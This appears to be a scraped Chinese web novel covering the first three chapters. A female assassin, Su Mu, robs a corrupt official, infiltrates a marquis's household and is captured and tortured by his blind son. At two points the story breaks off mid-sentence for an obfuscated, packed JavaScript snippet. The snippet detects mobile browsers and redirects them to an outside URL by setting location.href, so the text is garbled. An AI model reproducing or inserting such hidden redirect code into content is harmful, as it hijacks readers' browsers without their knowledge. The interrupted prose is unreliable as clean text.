《救命!死敌侯爷总想要我哄》 1. 第1章 上元节夜,街头灯火璀璨,万千宫灯如昼。 市井喧哗之声穿过各家街巷,孩提手提明灯嬉笑杂耍,女子头戴珠花,粉黛盈美,只愿觅得郎君。有情人河边祈祷,祈求上苍能听到夙愿,使有情人终成眷属。 “不过是痴人说梦。” 高阁之上,只见冷风穿窗如刃,一女子伏在窗棂边,见此景冷声开口。 黑衣掩身,白皙手掌紧握利刃短刀。神色沉冷,转眼看着对面酒肆阁楼油纸窗所映人影,眼底尽是寒霜。 见纸窗人影拜别,女子一个飞身轻跃,沿着屋顶悄声行径。 不过一眨眼的功夫,她已轻燕落地,侧身背靠梁柱。 翻窗而进,随手一抬,昏黄烛光只剩一抹细烟。 察觉不对,屋中中年男人正欲呼救,一股冰冷的寒意已抵达喉颈,男人咽下一口冷气,不敢说话。 “焦大人,你的银子可否借我一用?” 话是商量语气却不像,苏木字字含冰,冷的彻底。 “你是谁?” 男人十分警惕,已然语调颤抖,却装作冷静之姿,以为普通流寇夺人钱财,想着不足为惧。 说完此话,男子反手握住苏木手腕,翻腕格挡,一时之间袖中暗器迸出,黑夜之中虽有些不辨方向,她却后退半步,如鬼魅一般悄然侧身,闪避之际,借力旋身,凛然逼近。 苏木骤然欺身而上,眼底寒光如刃,短匕划破长风,毫不犹豫地刺入他左肋。 这股狠厉,男人也未常见。 “焦大人,我可没什么耐心。” 尖刀往里紧了一寸,被称为焦大人的男人慌了神,刺痛感席卷他的心口,嘴角溢出半分血渍:“有…有。” “角落处的箱子,你,都给你了。” 苏木斜眼扫视四周,确有一檀松木箱立于左窗角落。 一个飞身,黑靴扬腿一踢,伴随沉闷的落地声,木箱上的盖子已然落地,男人失了借力,滑落地上。 金银之物在暗处并不明显,但箱中几颗硕大的夜明珠照亮了大半,于是也便看的真真切切,箱子足有十五寸,能装下多少金银可想而知。 “焦大人,你可真能贪啊。” 苏木冷笑,面具之下看不清神色,单从语调上,女子并不愉快。 “你说,你这样的贪官,留着祸害百姓吗?” 她再次上前,匕首再次靠近男人喉咙。 “死了,你觉得如何?” 苏木口吐“死”字时拖长了音,声音极低,透着淡淡的戏谑,却又暗含狠厉,说话时,手腕轻侧,刀刃已抵达咽喉动脉,只需轻轻一划,鲜血便会喷涌流注。 “姑…姑娘,本官不知是何事得罪于你。” “不过,本官就贪了这一次,见姑娘…似…似乎嫉恶如仇,想必也算良善之辈。” 男人说话密接,生怕一刀下去没了命,连忙想要为自己找寻些活路。 刚好,外面出现窸窣之声,一队人马抵达门外走廊,许是领兵敲门,吓的门外一孩提直接哭出了声。 “焦大人,可是发生了什么事?” 苏木瞧着门扇映像,手中刀更是紧了几分。 但她似是并不慌张,一点步子没动,但是男人察觉得到,只要女人一动,他可能今日便动不了。 未察觉到女人此行目的,男人也许是怕伤及自身小女,拼死开口,语气冷静了几分。 “没事,不过是猫撞翻了茶盏。” 转眼,男人轻语,面带求饶之色。 “我…我还有个女儿,还是稚童,不…不能没有爹啊。” “你饶本官一命,他…他日本官若是再有如此行径,你再杀我也不迟。” 面罩之下女子眉眼未动,刀锋却压得更紧,喉头那一寸皮肉只差毫厘,便可取人性命。 她盯着男人,一字一句:“你女儿的命,不该为你陪葬。” 那声音带着清冷却透着些许讽意,似笑非笑,却寒入骨髓。 话落,她手腕一转,匕首忽然收回,刀刃离喉只一线之距,男人大口喘息,额间冷汗如雨落下。 一时腿软,男人来不及顾忌,紧靠着身后梁柱,腿不时颤抖。 苏木站起身,目光落在那满箱的金银玉珠上,沉默片刻,似是在思量些什么,继而缓缓开口: “明日午时,将此箱送至城西静医馆门口。” 她转身,刚想越窗而走,却回眸开口。 “你若还念一点良心,就去赎你往日害下的命。” 苏木语气平静,也像是在下最后通牒。 焦大人尚未回神,女子已阖目,头回正,步伐轻缓地往窗前走去。 窗纸破口透进一缕风,她黑衣微扬。隐藏其下的黑丝亦作飞扬。 她最后留下的话透着倦意与淡漠,又隐含一丝难辨的情绪。 “你女儿,保住了你一命。” 她轻声道,似是告诫,亦像冷笑。 话落,她身形一动,如夜行蝙蝠飞掠窗棂,靴底点过桌角、梁柱,落地无声。 下一瞬,已不见踪影。 风再度灌入屋内,那盏原本被她吹灭的烛火已冷却,烛台燃尽半分,如这惊魂一夜,短暂却烙印在心。 焦大人瘫坐在地,望着那仍半敞的木箱,半晌未动,汗水从发际滑落,滴入薄衫。 街巷依旧一片热闹之景,苏木在转角巷口换下夜行衣,在里衣外套了一身半臂裙装,快速的融入到灯火门市之中。 完成了任务,她在街头闲逛着,琳琅满目的首饰、灯笼和面具,驻足一家小店,拿起摊上的青面獠牙面具,往脸上一戴便给了银子。 回身之时,肩膀冷不丁地被撞的生疼,她脚步微滞被迫后退半步,抬眼之际对上了一双眼睛,那眼睛正看向别处,耳朵却侧身靠拢,似乎想要听清什么。 苏木愣在原地,眼前男人眉目清晰俊朗,眼窝深邃眼中无神,面目呈现出一种干净的雕刻感,嘴唇微抿带着半分疏离。 是个瞎子。 看男人着装气宇非凡,后面跟着的似是小厮,不住鞠躬道歉。 男人也似乎明白自己撞到了人开口:“姑娘对不住了。” 女子不想应声,但身后却传来惊喜地呼唤之声:“苏木姐姐!?” 她转过头去,向招呼她的人看了一眼,后转身轻轻颔首,眼眸低垂,淡然道无碍便顺着反方向而去。 - 申时一刻,烈日正值上空,光影透着窗外枯木显得有些稀薄,窗前,床榻之上的女子额头布满薄汗,柳眉轻拧,唇色微白。 苏木从梦中惊醒,双手死死地攥着锦被。一双桃花眼盯着上空房梁,似没缓过神来。 “苏木师姐,那财物我们已收好,今夜便可将其换做细银分散给城西孤残。” 隔着屏风,未见其人,清丽软声便已入耳。 “师姐?” 未听到应答,祝余在屏风后探了探脑袋,终见床上身影,才放宽心大步上前:“苏木姐姐,我给你端了一盏茶。” 祝余身穿一袭浅杏色儒裙,衣襟素净,腰系青带,曳地长裙随着步履微动,五官不施粉黛却自有三分清秀之姿。 “放那吧。” 祝余小心将茶端放在床头几案之上,沿着床沿小榻跪坐。 “苏木姐姐,我刚出任务回来,听说三日前你劫舍的那人没死,往日姐姐可是从不手下留情,我们翻查了箱中金银,这还只是我们看到的冰山一角,说不定他贪过更多呢,这样的人就该杀了以绝后患。” 上一秒祝余眼中还满是柔光,说到最后一句话时,眼底浸染了狠辣。 苏木侧身而躺,她不想回话,只想起那晚门前孩童,若是小小年纪没了爹,受苦的只有那孩子罢了。 那时,苏木好像想起了自己的妹妹,分别之时,她也才是幼学之年。 “苏木姐姐,我来找你是想让你帮帮白薇的,平时我们姐妹最喜欢你了,这次她的任务是去往上京城刺杀宣德候之子。” 虽然远在蔺州,但宣德候的名号,苏木或多或少也听说过。 宣德候祖上是鄢国的开国元勋,其下子嗣也个个不是平庸之辈,就拿宣德候来说,其长女为圣上侧妃,圣眷正浓,而他十五岁便骁勇杀敌,击退边国入侵多次,十八岁封侯,一直征战沙场,稳固鄢国国内太平,到现在也宝刀未老。 这样的人物,其子也必定不简单。 祝余说的缓慢,但见塌上之人背影未见所动,幽幽开口:“前段时间你不在,师父已经派了两人前往上京了。” 说到此处时,祝余双指揉了袖口衣角,竟有几分哽咽之色:“都丢了性命。” “所以白薇,她想让你陪她一起去。你是师父的义女,武功在我们之上,关键时刻或许能护她性命。” 这时,床上之人才缓缓起身。 旧睡初醒,苏木脸上还带着倦容,但不掩美色。 她五官柔和,面部线条干净,眉目清疏神情寡淡,未吐言语之际凛然独立,仿佛世间无事能扰她心绪。 “为何要刺杀他。” 苏木翻褥起身,沿着床边而下,端起茶案上的茶饮尽。 “祝余不知,只知道要杀谁一向是师父做主,我们闳离楼从不问事实,只问银子。” 她回想闳离楼的做事风格,是自打被收留以来便是如此,所有被收留的弟子在此练习武功,无论是师父派的什么任务,他们都必须执行,无论生死,任务若是有失,那必然会往其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189714|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身上轮。 除了眼前的人——苏木,师父的义女。 “祝余知道,这便是苏木姐姐不愿待在这的原因,可如今只有你能帮帮白薇了。” 在祝余一众弟子记忆里,苏木从来不受楼中规矩所约束,他们的师父也从不过问苏木之事。 除了白薇和祝余,其余弟子也很少有机会与苏木接触。 所以,他们认为在这闳离阁,除开他们的师父潇声,只有眼前人能越过规矩,做她想做之事。 在这闳离阁,与苏木关系好的人没几个,祝余算其中之一。 苏木记得少时自己除了练武功从不愿和谁多说一句话,但祝余却总是跟在她屁股后面逗她开心,除她以外,另外一个便是白薇了。 “她走了吗?” 裹上外衣,苏木缓缓开口。 闻言祝余已是喜上眉梢,此话一出,她知道她一定会帮她。 “已经走了,昨晚动的身,她见你昨晚一直没出去过,也不好意思来找你。” “若有人问起,就说我不知往何处去了。” 苏木淡言,戴上白纱帏帽后离开。 - 上京城的节日热情比蔺州浓厚,就如此刻。 暮色沉沉,大道之上灯火次第点亮,侯府内灯火稀疏,偏厅里只留着几盏豆大的昏黄油灯,映得廊下的影子摇摇晃晃。 廊外,一名本该值夜的婢女被苏木拖在屏风后。 苏木以药粉迷晕她,再以细针轻挑其面部筋脉,使面部微微浮肿,外人乍一看只认为是生了病,不易分辨是否被下了药。 至于她自己,苏木则用清苦草汁调入蜡粉,抹去本来的肤色,配合在闳离阁学来的易容术,容貌已大致与之前有些不一样,在夜色昏暗、又无人细看的情况下,足够了。 她将手中发簪举起,利落地将头发挽成那名婢女平日的样式。指尖拂过自己的脸,青黛描过的眉眼看上去柔顺恭谨,眼底却是冷得像外面的风雪一般。 不多时,外头传来管事嬷嬷唤人的声音。 “还不快进去伺候,小侯爷该饮茶了。” 苏木垂下眼,端起托盘,双膝微曲,恭敬应了一声是。 侯府前厅之内,灯影摇曳,炉中银炭烧的正旺,暖炉中香烟隐隐。 一名男子身着墨色锦服,端坐于主位之上,正侧身与下属议事。几名将领肃然侍立,屏气凝神,不敢怠慢。 苏木看不清此人长相,随众婢女悄然入内奉茶,她神色淡定,垂眸行礼,步履轻缓,缓缓靠近席边。 忽地,她余光一动。 那名正欲端茶奉上的婢女,正是白薇。她腰身绷紧,指间微抖,茶盏底下藏着一抹寒光。 匕首锋刃的反光呼之欲出。白薇唇角紧抿,目光死死盯着座上之人,杀意凛然。 苏木心下一惊,厅中局势明了,男人身侧全是手握利刃之人,看起身形也大多是练家子,若是此刻谋杀,或是能任务完成,但白薇亦会丧命于此。 几乎在顷刻之间靠近前一步,苏木轻握住白薇手腕,声音压得极低:“手抖得厉害,还是我来吧。” 语气平和,实则力道暗藏。那只藏刀的手被她一寸寸稳稳压下。 白薇愣了一瞬,眼中闪烁着说不明的光芒,本身严重的狠劲已消散,代替而之的是惊喜。 白薇低头退步。苏木接过茶盏,微屈着身姿,将茶稳稳置于男子身前,声带温柔却又冷然:“将军,请用茶。” 堂上之人闻声蹙眉微怔,眸色深幽。 议论声戛然而止,苏木感觉到一种无形怪异笼罩,但未抬头,也不明当下局势。 未多言,堂上之人只轻轻点头,旁边小厮便端起了茶。 厅外大雪将落,风声渐起,苏木垂首退下,捏着茶托的指尖有些泛白。 …… 是夜,寒风瑟瑟,月色冷然。 一阵黑影穿梭于回廊之间,夜行如燕,轻点便上房梁。 苏木绕过层层哨卫,轻落檐下,翻窗入室。 室内未点灯,漆黑如外夜色。 她小心环顾四周,察觉无人。但步履依旧轻缓,眼神如鹰来回审视,缓缓抽出腰间匕首。 正欲靠近床前,一只脚尚未落稳,耳边“嗖”的一声细响未落,一道极细的寒光自身后而来。 她骤然侧身翻滚,无数寒光从上方射下,苏木只得往身侧移动,几经翻转,未见来人却已迟了一瞬,肩头一凉,已被箭头擦破。 床榻帷幔被窗外阵风掀开,空床无人。 黑暗中,一道低哑的男声响起:“乌头毒。” “不需片刻,意识模糊、昏厥此地。” 男人声音响起,不疾不徐,却如窗外风雪一般压人。 2. 第2章 肩膀处传来的疼痛让苏木知道,此人所说之话并非有假。 她习惯随身携带避毒珠,趁屋中夜色,她仰首吞下,撑着短刀跪地而起。 “区区乌头毒,在我腹中早已来过千万次,何况这不足一寸小伤。” 苏木这话说的傲气十足,男人听清声音冷笑:“又是一名女子。” 又是。就这二字苏木便知,祝余所说的先前二人,怕就是命丧说话之人手中。 可他见她受伤,为何却没有近身?存疑之时,她跃身而起,朝着刚刚出声的方位而去,腾空落地时,一个人影都没有,苏木再次环顾四周,一只冷箭再次飞来。 苏木巧妙躲过,有些恼怒:“为何不敢露脸,生怕被我一刀封喉吗?” “一刀封喉?”男子像是听到什么天大的笑话一般,语气转而露出凛然:“不如,你今日一刀封喉如何?” “痴心妄想。” 语罢,苏木甩出袖中暗器,只听沉闷一声,暗器钉入床头檀木。 苏木没了耐心,从前她想要谁的命,不出片刻那人便能人头落地,可现在她竟在漆黑之处不辨人影,这是她始料未及的。 思索之时,冷掌近身,苏木偏头闪过,踢腿直上,见目标未被踢中,她一个旋转翻身,察觉到柜上铜镜,反手匕首之间,冷光在暗中闪出一道漂亮的弧线光线。 她看清了一双眼睛,离她不过半尺距离。 那双眼睛无神,在被亮光所射时仍无半点反应,苏木似乎觉得此人熟悉,但来不及细想,眼看此人还没发觉自己方位暴露,她一掌直下胸膛,男人沉闷地冷哼几声,往后踉跄了几步。 听到声音,苏木得知自己现在正处于优势,只要尖刀入喉,他便可以当场丧命。 乘势而上,苏木紧握匕首,朝着男人步步紧逼。 匕首即将触及对方喉间——门外,忽地传来粗重的男人声音。 “若是里面人伤了半分,她也别想活命。” “姐姐,不必管我。” “呜…” 那声音惊慌未定,带着哽咽,分明是白薇的声音,她似乎刚开口就被那男人刺了一刀,立马疼痛出声。 苏木听声后心中一震,脚下不由一滞。 回头看去,只见门缝间透出火光,几人持灯在外。 苏木身子一晃,握刀的手微微颤了。她犹豫了那么一刹,手中匕首停顿在喉咙的咫尺之间。 就在此刻,突觉一股大力袭来。 男人似是蓄势已久,在她分神之际反手扣住了她的手腕,力道极沉,几乎要捏碎她的骨节,苏木难忍疼痛倒吸一口冷气,刚欲反击,身形却猛地被他一转,整个人被他压在脖颈之间。 声音从耳后传来。 “心软,还怎么当刺客。”男人语气冷冽,贴近她耳边,低声道,“我对你们刺客这一行,似乎有了新的认识。” 苏木咬牙挣扎,手腕却被制得死死的,无法动弹。她胸膛起伏,眼神仍带狠意,但此刻受制于人,她动弹不得。 不过短短一盏茶的功夫,二人竟都落入他的圈套。 她在出发之前告诫过白薇不要轻举妄动,若是有事先行逃走,可不知为何居然先行被抓。 男人俯身,目光平静,却带着锋利的语气:“你是刺客,可惜……你不是个彻底的刺客。” “你是在想我们是如何找到了她?” 苏木沉默不语,男人却像是料到他在想什么一样。 “你若想知道。” “不如,去我的地牢走一遭吧。” 肩颈传来剧痛,苏木沉沉倒下。 - 有些刺骨的寒冷,却不及眼前的血腥景象。 苏木泡在湖中,荷叶将她挡的严严实实,她不敢做声,亲眼看着父亲、母亲、哥哥,一个个的倒在了眼下。 “大人,还有两个小孩不见了。” 一名小兵巡逻了四周,见人已死的差不多,但未搜罗到其他人。 “给我找!” 那名大人背对着她,她看不清样貌,忽而,肩胛骨传来剧痛,竟是一名小兵将剑刺入了水中,拔剑而起时,剑上鲜血已被湖水洗净,苏木紧紧地按住伤口,避免鲜血染湖。 她渐渐有些坚持不住了,意识昏沉之际,她模模糊糊听到一阵吵闹声。 “官兵来了,快撤!” 一阵窸窣,耳边再无吵闹,她昏昏睡了过去。 寒冷锥骨之疼并未消失,苏木再次睁眼,身上依旧湿的彻底,只不过此时,她已不在家中庭院,而是穿着粗布麻衣,正站在被人围观的肮脏奴场。 场上只剩下两人,同时剩下的两人也许不是实力最强的,但偏偏是活着的欲望最强的,为此就算实力不强,人人都可以为自己撕出一条血路。 要是非要分出胜负,今日必死一人。 她不希望死的人是她,她还要报仇,她还要让她死去的亲人瞑目,想到此,就算自己此刻何等的虚弱,她都要强撑着将眼前的人打倒。 握拳出击,苏木眼底满是倔强。 “喂,小鬼!” 台上一名稚嫩男孩出声:“若是你赢了,我便还你自由!” 苏木抬头,看到了那个稚嫩孩童,和他差不多的年纪,看着身着样貌确实天上地下。 自由!她从八岁被掳到奴场已有三年,三年的无数个日日夜夜,她梦寐以求地想要渴求自由。 她必须要赢。 那个被他打倒在地的男孩血肉模糊,面目不清,她的脸上同样堆满了青肿。 她高兴的欢呼,可抬头时那个说还他自由的男孩却不见了。 没人买下她,他们都见识了她的狠劲,她们说,把她买回去,像是买了一个随时会挠人的野豹。 可苏木不明白,不是她们说,只要赢了就会买下胜者,不是只要赢了就可以让她自由吗? 她再次被人抛弃,无数个日夜,无数的人买下她后将她又扔进了这里,这一次,她躲在暗室里,就算紧紧地环抱住自己,也感受不到一丝的温暖。 在小小的角落里,苏木的意识越来越模糊,冷水骤然泼至,浑身冰冷的刺骨感让她猛地睁开眼睛。 她几乎要错乱了,一睁眼,不过是从一个地牢,关入了另一个地牢。 “自由,自由。” 她怔怔开口,似是自己都没意识到自己说什么。 冰冷的水流从她的头顶顺着青丝而下渗入衣襟,薄薄的白色里衣贴在她湿漉漉的肌肤上,不带一丝温暖。 一阵剧烈的寒意袭来,苏木忍不住微微颤抖,双手双脚的束缚感让她动弹不得,手腕脚腕传来的麻木感似乎也在提醒她,这里不是那个暗无天日的奴场。 她此刻,正作为阶下囚进入了另一个地牢。 苏木被吊在木桩之上,双手被铁链锁住。 环顾四周,四壁全是湿漉漉的石墙,石缝中青苔弥漫着潮湿沉闷。幽暗的地牢里,一股股的冷气,像是随时能将她的生命一点一点蚕食掉。

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苏木嘴角一扯皮笑肉不笑,像是明白了什么,语带狠辣:“你们公子?” “宣德侯的幼子?——顾、长、宁。” 她一字一顿:“我要看的清楚些,好找准位置,最好能一招,致命。” “你……!” 那侍从明显没料到苏木在此等情况之下还能口出狂言,一时语塞竟然将自己噎住了。 顾长宁闻言不怒反笑,他缓缓起身,右手握着手杖,一拄一步,借助这拐杖悠悠地走到了各式各样的刑具前。 像是被一股热浪吸引,他没有停到冷具前,而是拿起了烧的铁红的烙铁。 仍旧是一拄一拐,他顺着手杖的起落走上了两步台阶。 停在了她的面前。 如此近的距离,苏木好像又想起了上元之夜,她见到她这副清俊的模样。 只是没想到,区区不过三日,她便轮为了他的阶下囚。 烙铁离她还有半尺距离,她冷笑,笑世事无常。 顾长宁听到笑声后靠的更近了些,他抬手,将宽大的手掌落入她的眉眼。 一寸一寸,他的手指经过眼睛、鼻子、嘴巴,最后落入了她的肩旁之上。 顾长宁似乎可惜般叹息:“这么漂亮的一张脸,落了疤可就不好看了。” “不如,这里。” 他蜷起其他手指,用食指戳了戳苏木的肩胛。 他忽然拿开,猩红的烙铁深深地印在她的肩膀之上。 苏木早已做好了心理准备,但还是没想到会如此之疼。 这样的疼痛,好像唤醒了她六年前的回忆。 在那样的奴场,相似的房间,她被人欺凌辱骂,拳脚相加,身上无处不疼。 苏木闷哼一声,死死咬着泛白的嘴唇,没有服输之姿,鲜血顺着唇角想下,滴落在顾长宁拄着拐杖的手指关节。 他轻微地颤动,同样挪开了烙铁。 台下侍从从没见过自己家公子对犯人用这么短时间的刑具,一时想要提醒,却被身旁另一个侍从拉了拉。 下一秒,顾长宁的尖刀又置于苏木青筋纵横玉脖之上,那刀刃十分锋利,只轻一动,便可划破皮肤。 3. 第3章 “你想要自由?” “你交代一切,我可以,放你自由。” 顾长宁开口,淡漠如霜。 听到这话时,一直神色没怎么变化的苏木突然有了反应。 地牢里的潮气沁人心骨,火把在石壁上投射出晃动的影子将苏木单薄的身影拉得修长,铁链上凝结的水珠时不时滴落,砸在青石板上时发出单调的声音。 安静而诡异。 “当真?” 苏木睫毛突然剧烈地颤动了两下,她猛地抬起头,额前凌乱的碎发被汗水濡湿,粘在苍白的脸颊上,她眸中闪过一晃而过的光,像是濒死之人抓住了最后一线生机。 她甚至下意识地往前倾了倾身子,铁链随之发出"哐当"的巨响,在这狭小的空间里震得人耳朵发疼。 未料她不顾刀锋,顾长宁手往后撤开一寸。 站在顾长宁身后的随从立刻上前一步,胸膛挺得笔直,脸上带着几分傲气:“我们公子向来说话算话。” 随从说话时下巴微扬,眼神里满是对自家主子的信服,可苏木连眼皮都没往他那边抬一下,只是死死盯着顾长宁的方向。 她双手用力地挣着铁链,手腕铁环摩擦着皮肉,早已磨出的血痕又渗出了新的血珠。 顾长宁微微侧过脸,玄色的衣袍在昏暗的光线下泛着冷硬的光泽。他后退半步,声音里听不出情绪,却带着一种不容置疑的笃定:“当真。” 未见苏木回应,顾长宁握着拐杖的手指轻轻动了动,转身沿着石阶缓缓往下走。他的步伐很慢,拐杖敲击石阶的声音“笃、笃”作响。 “名字。”随从清了清嗓子,从木桌子上拿起一卷纸和一支笔,摊开在手里的木托盘上,声音恢复了审问时的严肃。 “苏木。” 眼下,无其他办法,她说,或许能保一线生机。 “年龄。” “十七。” 顾长宁的手指正无意识地摩挲着指间扳指,冰凉的玉石在他指间转动,面无波澜。 在听到“十七”这两个字时,他的手指微微一顿。火把的光恰好落在他脸上,能看到他眉头微蹙。 他想起前几个被抓的女子,大多已是二十好几的年纪,可眼前女子,身手利落狠辣,寻常练家子苦练十几年都未必能及,不过一瞬,他没再往下想,指尖的玉石又开始缓缓转动。 “才十七就做刺客,真是要钱不要命。” 随从拿着笔的手顿了顿,抬头看了苏木一眼,语气里带着几分惊讶。 他跟着顾长宁多年,见惯了名门闺秀、王公贵女,那些人正是和苏木年纪相仿的姑娘。 苏木抬眼投去一记冰冷的冷眼,那眼神像淬了毒的冰锥,让随从后面的话硬生生咽了回去。他干咳两声,掩饰自己的失态,继续问道:“家住何处?” 苏木的声音很轻,面上未有动容:“没有家” 随从闻言,只是低头在纸上划了一笔,脸上没什么表情。 这些年他审过的犯人里,说自己没有家的多了去了。在这世道,多少人因为天灾战乱成了无家可归的孤魂,为了活下去,什么事做不出来?他早已见怪不怪。 可顾长宁却不一样。他虽然看不见,却微微掀了掀眉毛,那双失明的眼睛转向苏木的方向,像是想透过她单薄的身影,看到更深层的东西。 “没有家,那总有人指使你来,是何人?”他的声音比刚才低沉了些,带着一种洞悉一切的锐利。 苏木的身子几不可察地僵了一下。她垂着眼,长长的睫毛在眼下投出一片阴影,遮住了眸中的情绪。 顾长宁能感觉到她的迟疑,于是轻轻敲了敲拐杖,语气里多了几分提醒:“你若是有半分隐瞒,刚刚的约定,” “便全然不作数。” 他一字一顿,带着不容质疑的温度。 沉默像潮水般涌来,淹没了整个地牢。火把的光忽明忽暗,照在苏木紧绷的脸上。过了好一会儿,她才缓缓开口。 “我幼年住在清崖村,父亲是个猎户,每天天不亮就背着弓箭上山。” 苏木的眸光飘向地牢深处,眼神像是看到了自己回忆中的画面,略显柔和。 “有一天他去追一头野鹿,走得太远,遇见了虎豹,就再也没回来。” “母亲是村里的绣娘,绣的帕子可好看了,每次去镇上换了银钱,都会给我买块桂花糕。可后来,她跟着一个穿绸缎衣裳的男人走了,再也没回过村子。” “从我五岁那年起,我就成了村中人所说的野孩子。” 苏木的嘴角勾起一抹苦涩的笑,眼角却泛起了淡淡的红:“但村里人还算良善,东家给个窝头,西家送碗热汤,我就吃着百家饭长到了十岁。” “后来,我长开了些,村里的王大叔说要带我去镇上找个好活计。” 苏木的声音突然变得有些发紧,握着铁链的手也不自觉地收紧,指节泛白::他说那个地方有穿不完的绫罗绸缎,有吃不尽的山珍海味。我长那么大,从没见过那样奢靡的景象,直到他把我推进那扇雕花大门,我才知道,那是烟柳之地。” “楼里的妈妈把我养到十二岁,就要我接客。” 苏木的声音依旧的厉,仿佛所说和自己无关:“那天晚上,她带了个大腹便便的官老爷来,那人脸上的肉一颤一颤的,恶心的慌。” 苏木说到这时猛地抬起头,眼眶里布满了猩红的血丝,语气激动道:“我拼死抵抗,顺手拿起桌上的剪刀,捅进了他的肚子。那些奢靡无度、不管别人死活的父母官,根本不配活在世上,他们就该死!” 最后几个字,她几乎是吼出来的,声音里的恨意像熊熊燃烧的火焰,灼得人皮肤发疼。随从被她突如其来的激动吓了一跳,下意识地往后退了半步。 “我趁乱逃了出来,到处都贴满了我的通缉令。” 苏木的声音渐渐低了下去,带着一种劫后余生的疲惫:“我不敢走大路,只能躲在山林里,靠野果充饥。有一次实在饿极了,晕在了一个饺子馆门口,是馆子里的老爷爷救了我。” “他教我武功,教我怎么在林子里找食物,怎么避开野兽,慢慢地,我开始变得强大。” “爷爷说,这世道,善良是活不下去的。”铁链上的人儿突然笑了起来,那笑声尖利刺耳,像午夜时分鬼魅的嚎叫,听得随从心里发毛。 “他教我如何杀人,如何用最快的速度取人性命。所以,我的刀下,早就有了无数条人命。" 她歪着头,看着顾长宁的方向,眼神里带着一种近乎疯狂的偏执:”爷爷会接很多单生意,只要钱给到位,他就会派无数个像我这样的人来杀你。这次失败了,我认栽。但是要杀你的是谁,我的确不知道。” 她的眼中再次充满了狠厉,嘴角勾出一抹邪魅的笑容,仿佛在说一件与自己无关的事情。 突然,清脆的拍掌声在空旷的地牢里响起,打破了那丝丝笑声。 顾长宁脸上带着一丝若有若无的笑意,语气轻蔑:“很惨。” 他顿了顿,拐杖轻轻敲击着地面,发出"笃"的一声:“但,这不是你的故事吧?” 闻言,苏木脸上的笑容瞬间僵住,又慢慢褪去。她眯起眼睛,重新打量着眼前这个失明的男人,她倒是小瞧了他。 这段经历的确不是她的,是祝余的。可就算是祝余的经历,也被她改了不少。她脸上依旧不动声色,甚至还扯出一抹嘲讽的笑:“不相信?不相信你自己去打听啊。” 她心里清楚,潇声收留她们这些孩子时,早就把所有的痕迹都抹去了,无论谁去查,得到的答案都会和她说的一模一样。 顾长宁没有接话,只是静静地站在那里,周身的空气仿佛都因为他的沉默而变得凝重。 苏木手上的铁链勒得生疼,皮肉像是要被磨烂一般,可她连眉头都没皱一下,只是死死地盯着顾长宁的方向。 就在她快要撑不住的时候,顾长宁突然动了。他一步步走到苏木面前,手里不知何时多了一把闪着寒光的尖刀。他微微倾身,凭着记忆找准了她肩膀上之前被刺伤的位置,毫不犹豫地一刀刺了下去。 “唔!”苏木疼得闷哼一声,额头上瞬间冒出了密密麻麻的冷汗,肩膀剧烈地颤抖着,伤口处的疼痛像是有无数根针在扎,顺着血液氤氲在衣衫之上。 “你说的,究竟是不是真的?” 顾长宁的声音就在她耳边响起,冰冷得没有一丝温度。他手中的尖刀又往里进了一分,鲜血顺着刀刃流出来,在哪黑色夜行衣上,看不分明。 她咬紧牙关,硬是没再发出一点声音,只是用那双带着血丝的眼睛瞪着顾长宁,声音因为疼痛而颤抖,却依旧倔强:"所...所言...无半句虚言。" 说完这句话,她像是被抽走了所有力气,头微微垂下,大口大口地喘着气。 伤口的疼痛加上体内还未消散的乌头毒,让她浑身的青筋都鼓了起来,她面色苍白,汗水顺着脸颊不断往下流,每一滴落在伤口上,都让她疼得身体发颤。 就在她以为自己快要疼晕过去的时候,肩上的尖刀突然被拔了出来。一阵突如其来的轻松让她差点瘫软在地,可还没等她缓过神来,脖子上就传来一阵冰凉的触感。 那把沾着她鲜血的尖刀,此刻正贴着她的颈脖。 她甚至能感觉到刀刃的锋利,只要顾长宁稍一用力,她的脖子就会被割开。紧绷的神经让她瞬间清醒,连呼吸都变得小心翼翼。 "再问你最后一次。" 顾长宁的声音低沉而危险,带着不容置疑的威严。 苏木看着他近在咫尺的脸,突然微微低下头,任由刀尖刺破皮肤,一股温热的血流了出来,顺着脖颈往下淌。 她的声音因为失血而变得更加虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189716|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱,却带着一种破釜沉舟的决绝:“无...无半...半句虚言。” 顾长宁握着刀的手顿住了。他没料到这个看似瘦弱的少女竟然如此刚烈,宁愿死也不肯改口。 他沉默了片刻,最终还是缓缓放下了手中的尖刀。 他的声音恢复了平静:“你可以走了。” 他随手将尖刀扔在地上,铁器与石砖碰撞发出尖锐的“哐当”声,在这寂静的地牢里显得格外刺耳。 顾长宁转身就要踏出牢房。 “另...另一个姑娘呢?” 苏木急忙开口,声音因为紧张而有些变调:“你们,也要放了她。” 她是来救白薇的,自然要带她走。 随从皱起眉头,有些不耐烦地开口:“你就知足吧,自己能活命就不错了,还管别人?” 他跟着顾长宁这么多年,还从没见过这样得寸进尺的犯人。 可苏木像是没听见他的话一样,只是死死盯着顾长宁的背影,一遍遍地重复:“放了她。” 她本来就是为了救白薇才来的,怎么能丢下她一个人? 顾长宁停下脚步,手中的手杖重重地敲击在地上,发出沉闷的"咚"声,那一声里蕴含的威严,让随从都不敢再出声。 可苏木却像是没感觉到一样,依旧固执地重复着:“放了她...” “苏木。” 顾长宁终于转过身,声音平静得没有一丝波澜:“我刚刚说的承诺,只限于一人。” 